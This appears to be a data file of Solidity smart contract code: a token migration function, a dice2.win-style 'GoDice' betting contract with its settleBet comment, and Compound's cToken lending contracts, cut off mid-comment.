function migrate(uint256 _value) external { require(finalized); require(migrationAgent != 0x0); require(_value > 0); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); totalMigrated = totalMigrated.add(_value); MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value); LogMigrate(msg.sender, migrationAgent, _value); }
12,941,633
pragma solidity ^0.5.0; contract GoDice{ uint constant HOUSE_EDGE_PERCENT = 1; uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether; uint constant MIN_JACKPOT_BET = 0.1 ether; uint constant JACKPOT_MODULO = 1000; uint constant JACKPOT_FEE = 0.001 ether; uint constant MIN_BET = 0.01 ether; uint constant MAX_AMOUNT = 300000 ether; uint constant MAX_MODULO = 100; uint constant MAX_MASK_MODULO = 40; uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO; uint constant BET_EXPIRATION_BLOCKS = 250; address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address payable public owner; address payable private nextOwner; uint public maxProfit; address public secretSigner; uint128 public jackpotSize; uint128 public lockedInBets; struct Bet { uint amount; uint8 modulo; uint8 rollUnder; uint40 placeBlockNumber; uint40 mask; address payable gambler; } mapping (uint => Bet) bets; address public croupier; // Events that are issued to make statistic recovery easier. event FailedPayment(address indexed beneficiary, uint amount); event Payment(address indexed beneficiary, uint amount); event JackpotPayment(address indexed beneficiary, uint amount); // This event is emitted in placeBet to record commit in the logs. event Commit(uint commit); // Constructor. Deliberately does not take any parameters. constructor () public { owner = msg.sender; secretSigner = DUMMY_ADDRESS; croupier = DUMMY_ADDRESS; } // Standard modifier on methods invokable only by contract owner. modifier onlyOwner { require (msg.sender == owner, "OnlyOwner methods called by non-owner."); _; } // Standard modifier on methods invokable only by contract owner. modifier onlyCroupier { require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier."); _; } // Standard contract ownership transfer implementation, function approveNextOwner(address payable _nextOwner) external onlyOwner { require (_nextOwner != owner, "Cannot approve current owner."); nextOwner = _nextOwner; } function acceptNextOwner() external { require (msg.sender == nextOwner, "Can only accept preapproved new owner."); owner = nextOwner; } // Fallback function deliberately left empty. It&#39;s primary use case // is to top up the bank roll. function () external payable { } // See comment for "secretSigner" variable. function setSecretSigner(address newSecretSigner) external onlyOwner { secretSigner = newSecretSigner; } // Change the croupier address. function setCroupier(address newCroupier) external onlyOwner { croupier = newCroupier; } // Change max bet reward. Setting this to zero effectively disables betting. function setMaxProfit(uint _maxProfit) public onlyOwner { require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number."); maxProfit = _maxProfit; } // This function is used to bump up the jackpot fund. Cannot be used to lower it. function increaseJackpot(uint increaseAmount) external onlyOwner { require (increaseAmount <= address(this).balance, "Increase amount larger than balance."); require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds."); jackpotSize += uint128(increaseAmount); } // Funds withdrawal to cover costs of dice2.win operation. function withdrawFunds(address payable beneficiary, uint withdrawAmount) external onlyOwner { require (withdrawAmount <= address(this).balance, "Increase amount larger than balance."); require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds."); sendFunds(beneficiary, withdrawAmount, withdrawAmount); } function kill() external onlyOwner { require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct."); selfdestruct(owner); } function placeBet(uint betMask, uint modulo, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) external payable { // Check that the bet is in &#39;clean&#39; state. Bet storage bet = bets[commit]; require (bet.gambler == address(0), "Bet should be in a &#39;clean&#39; state."); // Validate input data ranges. uint amount = msg.value; require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range."); require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range."); require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range."); // Check that commit is valid - it has not expired and its signature is valid. require (block.number <= commitLastBlock, "Commit has expired."); bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit)); require (secretSigner == ecrecover(signatureHash, v, r, s), "ECDSA signature is not valid."); uint rollUnder; uint mask; if (modulo <= MAX_MASK_MODULO) { // Small modulo games specify bet outcomes via bit mask. // rollUnder is a number of 1 bits in this mask (population count). // This magic looking formula is an efficient way to compute population // count on EVM for numbers below 2**40. For detailed proof consult // the dice2.win whitepaper. rollUnder = ((betMask * POPCNT_MULT) & POPCNT_MASK) % POPCNT_MODULO; mask = betMask; } else { // Larger modulos specify the right edge of half-open interval of // winning bet outcomes. require (betMask > 0 && betMask <= modulo, "High modulo range, betMask larger than modulo."); rollUnder = betMask; } // Winning amount and jackpot increase. uint possibleWinAmount; uint jackpotFee; (possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder); // Enforce max profit limit. require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation."); // Lock funds. lockedInBets += uint128(possibleWinAmount); jackpotSize += uint128(jackpotFee); // Check whether contract has enough funds to process this bet. require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet."); // Record commit in logs. emit Commit(commit); // Store bet parameters on blockchain. bet.amount = amount; bet.modulo = uint8(modulo); bet.rollUnder = uint8(rollUnder); bet.placeBlockNumber = uint40(block.number); bet.mask = uint40(mask); bet.gambler = msg.sender; } // This is the method used to settle 99% of bets. To process a bet with a specific // "commit", settleBet should supply a "reveal" number that would Keccak256-hash to // "commit". "blockHash" is the block hash of placeBet block as seen by croupier; it // is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs. function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier { uint commit = uint(keccak256(abi.encodePacked(reveal))); Bet storage bet = bets[commit]; uint placeBlockNumber = bet.placeBlockNumber; // Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS). require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before."); require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can&#39;t be queried by EVM."); require (blockhash(placeBlockNumber) == blockHash); // Settle bet using reveal and blockHash as entropy sources. settleBetCommon(bet, reveal, blockHash); } function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier { // "commit" for bet settlement can only be obtained by hashing a "reveal". uint commit = uint(keccak256(abi.encodePacked(reveal))); Bet storage bet = bets[commit]; // Check that canonical block hash can still be verified. require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can&#39;t be queried by EVM."); // Verify placeBet receipt. requireCorrectReceipt(4 + 32 + 32 + 4); // Reconstruct canonical & uncle block hashes from a receipt merkle proof, verify them. bytes32 canonicalHash; bytes32 uncleHash; (canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32); require (blockhash(canonicalBlockNumber) == canonicalHash); // Settle bet using reveal and uncleHash as entropy sources. settleBetCommon(bet, reveal, uncleHash); } // Common settlement code for settleBet & settleBetUncleMerkleProof. function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private { // Fetch bet parameters into local variables (to save gas). uint amount = bet.amount; uint modulo = bet.modulo; uint rollUnder = bet.rollUnder; address payable gambler = bet.gambler; // Check that bet is in &#39;active&#39; state. require (amount != 0, "Bet should be in an &#39;active&#39; state"); // Move bet into &#39;processed&#39; state already. bet.amount = 0; bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash)); // Do a roll by taking a modulo of entropy. Compute winning amount. uint dice = uint(entropy) % modulo; uint diceWinAmount; uint _jackpotFee; (diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, modulo, rollUnder); uint diceWin = 0; uint jackpotWin = 0; // Determine dice outcome. if (modulo <= MAX_MASK_MODULO) { // For small modulo games, check the outcome against a bit mask. if ((2 ** dice) & bet.mask != 0) { diceWin = diceWinAmount; } } else { // For larger modulos, check inclusion into half-open interval. if (dice < rollUnder) { diceWin = diceWinAmount; } } // Unlock the bet amount, regardless of the outcome. lockedInBets -= uint128(diceWinAmount); // Roll for a jackpot (if eligible). if (amount >= MIN_JACKPOT_BET) { // The second modulo, statistically independent from the "main" dice roll. // Effectively you are playing two games at once! uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO; // Bingo! if (jackpotRng == 0) { jackpotWin = jackpotSize; jackpotSize = 0; } } // Log jackpot win. if (jackpotWin > 0) { emit JackpotPayment(gambler, jackpotWin); } // Send the funds to gambler. sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin); } function refundBet(uint commit) external { // Check that bet is in &#39;active&#39; state. Bet storage bet = bets[commit]; uint amount = bet.amount; require (amount != 0, "Bet should be in an &#39;active&#39; state"); // Check that bet has already expired. require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can&#39;t be queried by EVM."); // Move bet into &#39;processed&#39; state, release funds. bet.amount = 0; uint diceWinAmount; uint jackpotFee; (diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.modulo, bet.rollUnder); lockedInBets -= uint128(diceWinAmount); jackpotSize -= uint128(jackpotFee); // Send the refund. sendFunds(bet.gambler, amount, amount); } // Get the expected win amount after house edge is subtracted. function getDiceWinAmount(uint amount, uint modulo, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) { require (0 < rollUnder && rollUnder <= modulo, "Win probability out of range."); jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0; uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100; if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) { houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT; } require (houseEdge + jackpotFee <= amount, "Bet doesn&#39;t even cover house edge."); winAmount = (amount - houseEdge - jackpotFee) * modulo / rollUnder; } // Helper routine to process the payment. function sendFunds(address payable beneficiary, uint amount, uint successLogAmount) private { if (beneficiary.send(amount)) { emit Payment(beneficiary, successLogAmount); } else { emit FailedPayment(beneficiary, amount); } } // This are some constants making O(1) population count in placeBet possible. // See whitepaper for intuition and proofs behind it. uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001; uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041; uint constant POPCNT_MODULO = 0x3F; function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) { // (Safe) assumption - nobody will write into RAM during this method invocation. uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) } uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot; for (;; offset += blobLength) { assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) } if (blobLength == 0) { // Zero slice length marks the end of uncle proof. break; } assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) } require (shift + 32 <= blobLength, "Shift bounds check."); offset += 4; assembly { hashSlot := calldataload(add(offset, shift)) } require (hashSlot == 0, "Non-empty hash slot."); assembly { calldatacopy(scratchBuf1, offset, blobLength) mstore(add(scratchBuf1, shift), seedHash) seedHash := keccak256(scratchBuf1, blobLength) uncleHeaderLength := blobLength } } // At this moment the uncle hash is known. uncleHash = bytes32(seedHash); // Construct the uncle list of a canonical block. uint scratchBuf2 = scratchBuf1 + uncleHeaderLength; uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) } uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) } require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check."); offset += 6; assembly { calldatacopy(scratchBuf2, offset, unclesLength) } memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength); assembly { seedHash := keccak256(scratchBuf2, unclesLength) } offset += unclesLength; // Verify the canonical block header using the computed sha3Uncles. assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) shift := and(calldataload(sub(offset, 28)), 0xffff) } require (shift + 32 <= blobLength, "Shift bounds check."); offset += 4; assembly { hashSlot := calldataload(add(offset, shift)) } require (hashSlot == 0, "Non-empty hash slot."); assembly { calldatacopy(scratchBuf1, offset, blobLength) mstore(add(scratchBuf1, shift), seedHash) // At this moment the canonical block hash is known. blockHash := keccak256(scratchBuf1, blobLength) } } // Helper to check the placeBet receipt. "offset" is the location of the proof beginning in the calldata. // RLP layout: [triePath, str([status, cumGasUsed, bloomFilter, [[address, [topics], data]])] function requireCorrectReceipt(uint offset) view private { uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) } require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes."); offset += leafHeaderByte - 0xf6; uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) } if (pathHeaderByte <= 0x7f) { offset += 1; } else { require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string."); offset += pathHeaderByte - 0x7f; } uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) } require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k."); offset += 3; uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) } require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k."); offset += 3; uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) } require (statusByte == 0x1, "Status should be success."); offset += 1; uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) } if (cumGasHeaderByte <= 0x7f) { offset += 1; } else { require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string."); offset += cumGasHeaderByte - 0x7f; } uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) } require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long."); offset += 256 + 3; uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) } require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long."); offset += 2; uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) } require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long."); offset += 2; uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) } require (addressHeaderByte == 0x94, "Address is 20 bytes long."); uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) } require (logAddress == uint(address(this))); } // Memory copy. function memcpy(uint dest, uint src, uint len) pure private { // Full 32 byte words for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } function TestRecover(uint msgA,uint msgB, uint8 v, bytes32 r, bytes32 s) public pure returns (address) { bytes32 msgHash = keccak256(abi.encodePacked(msgA,msgB)); return ecrecover(msgHash, v, r, s); } function getSecretSigner() view public returns(address) { return secretSigner; } }
This is the method used to settle 99% of bets. To process a bet with a specific "commit", settleBet should supply a "reveal" number that would Keccak256-hash to "commit". "blockHash" is the block hash of placeBet block as seen by croupier; it is additionally asserted to prevent changing the bet outcomes on Ethereum reorgs. Check that bet has not expired yet (see comment to BET_EXPIRATION_BLOCKS). Settle bet using reveal and blockHash as entropy sources.
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier { uint commit = uint(keccak256(abi.encodePacked(reveal))); Bet storage bet = bets[commit]; uint placeBlockNumber = bet.placeBlockNumber; require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before."); require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can&#39;t be queried by EVM."); require (blockhash(placeBlockNumber) == blockHash); settleBetCommon(bet, reveal, blockHash); }
6,607,652
pragma solidity ^0.5.16; import "./CErc20.sol"; /** * @title Compound's CErc20Immutable Contract * @notice CTokens which wrap an EIP-20 underlying and are immutable * @author Compound */ contract CErc20Immutable is CErc20 { /** * @notice Construct a new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token */ constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public { // Creator of the contract is admin during initialization admin = msg.sender; // Initialize the market initialize(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set the proper admin now that initialization is done admin = admin_; } } pragma solidity ^0.5.16; import "./CToken.sol"; /** * @title Compound's CErc20 Contract * @notice CTokens which wrap an EIP-20 underlying * @author Compound */ contract CErc20 is CToken, CErc20Interface { /** * @notice Initialize the new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token */ function initialize(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { // CToken initialize does the bulk of the work super.initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set underlying and sanity check it underlying = underlying_; EIP20Interface(underlying).totalSupply(); } /*** User Interface ***/ /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external returns (uint) { (uint err,) = mintInternal(mintAmount); return err; } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { return redeemInternal(redeemTokens); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { return redeemUnderlyingInternal(redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { return borrowInternal(borrowAmount); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external returns (uint) { (uint err,) = repayBorrowInternal(repayAmount); return err; } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) { (uint err,) = repayBorrowBehalfInternal(borrower, repayAmount); return err; } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param repayAmount The amount of the underlying borrowed asset to repay * @param cTokenCollateral The market in which to seize collateral from the borrower * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint) { (uint err,) = liquidateBorrowInternal(borrower, repayAmount, cTokenCollateral); return err; } /** * @notice The sender adds to reserves. * @param addAmount The amount fo underlying token to add as reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external returns (uint) { return _addReservesInternal(addAmount); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying tokens owned by this contract */ function getCashPrior() internal view returns (uint) { EIP20Interface token = EIP20Interface(underlying); return token.balanceOf(address(this)); } /** * @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case. * This will revert due to insufficient balance or insufficient allowance. * This function returns the actual amount received, * which may be less than `amount` if there is a fee attached to the transfer. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferIn(address from, uint amount) internal returns (uint) { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); uint balanceBefore = EIP20Interface(underlying).balanceOf(address(this)); token.transferFrom(from, address(this), amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a compliant ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_IN_FAILED"); // Calculate the amount that was *actually* transferred uint balanceAfter = EIP20Interface(underlying).balanceOf(address(this)); require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW"); return balanceAfter - balanceBefore; // underflow already checked above, just subtract } /** * @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory * error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to * insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified * it is >= amount, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferOut(address payable to, uint amount) internal { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); token.transfer(to, amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_OUT_FAILED"); } } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./CTokenInterfaces.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./EIP20Interface.sol"; import "./EIP20NonStandardInterface.sol"; import "./InterestRateModel.sol"; /** * @title Compound's CToken Contract * @notice Abstract base for CTokens * @author Compound */ contract CToken is CTokenInterface, Exponential, TokenErrorReporter { /** * @notice Initialize the money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ EIP-20 name of this token * @param symbol_ EIP-20 symbol of this token * @param decimals_ EIP-20 decimal precision of this token */ function initialize(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { require(msg.sender == admin, "only admin may initialize the market"); require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once"); // Set initial exchange rate initialExchangeRateMantissa = initialExchangeRateMantissa_; require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero."); // Set the comptroller uint err = _setComptroller(comptroller_); require(err == uint(Error.NO_ERROR), "setting comptroller failed"); // Initialize block number and borrow index (block number mocks depend on comptroller being set) accrualBlockNumber = getBlockNumber(); borrowIndex = mantissaOne; // Set the interest rate model (depends on block number / borrow index) err = _setInterestRateModelFresh(interestRateModel_); require(err == uint(Error.NO_ERROR), "setting interest rate model failed"); name = name_; symbol = symbol_; decimals = decimals_; // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund) _notEntered = true; } /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally * @param spender The address of the account performing the transfer * @param src The address of the source account * @param dst The address of the destination account * @param tokens The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) { /* Fail if transfer not allowed */ uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed); } /* Do not allow self-transfers */ if (src == dst) { return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED); } /* Get the allowance, infinite for the account owner */ uint startingAllowance = 0; if (spender == src) { startingAllowance = uint(-1); } else { startingAllowance = transferAllowances[src][spender]; } /* Do the calculations, checking for {under,over}flow */ MathError mathErr; uint allowanceNew; uint srcTokensNew; uint dstTokensNew; (mathErr, allowanceNew) = subUInt(startingAllowance, tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED); } (mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH); } (mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) accountTokens[src] = srcTokensNew; accountTokens[dst] = dstTokensNew; /* Eat some of the allowance (if necessary) */ if (startingAllowance != uint(-1)) { transferAllowances[src][spender] = allowanceNew; } /* We emit a Transfer event */ emit Transfer(src, dst, tokens); comptroller.transferVerify(address(this), src, dst, tokens); return uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); return true; } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { return accountTokens[owner]; } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()}); (MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]); require(mErr == MathError.NO_ERROR, "balance could not be calculated"); return balance; } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { uint cTokenBalance = accountTokens[account]; uint borrowBalance; uint exchangeRateMantissa; MathError mErr; (mErr, borrowBalance) = borrowBalanceStoredInternal(account); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } (mErr, exchangeRateMantissa) = exchangeRateStoredInternal(); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @dev Function to simply retrieve block number * This exists mainly for inheriting test contracts to stub this result. */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return totalBorrows; } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return borrowBalanceStored(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { (MathError err, uint result) = borrowBalanceStoredInternal(account); require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed"); return result; } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance 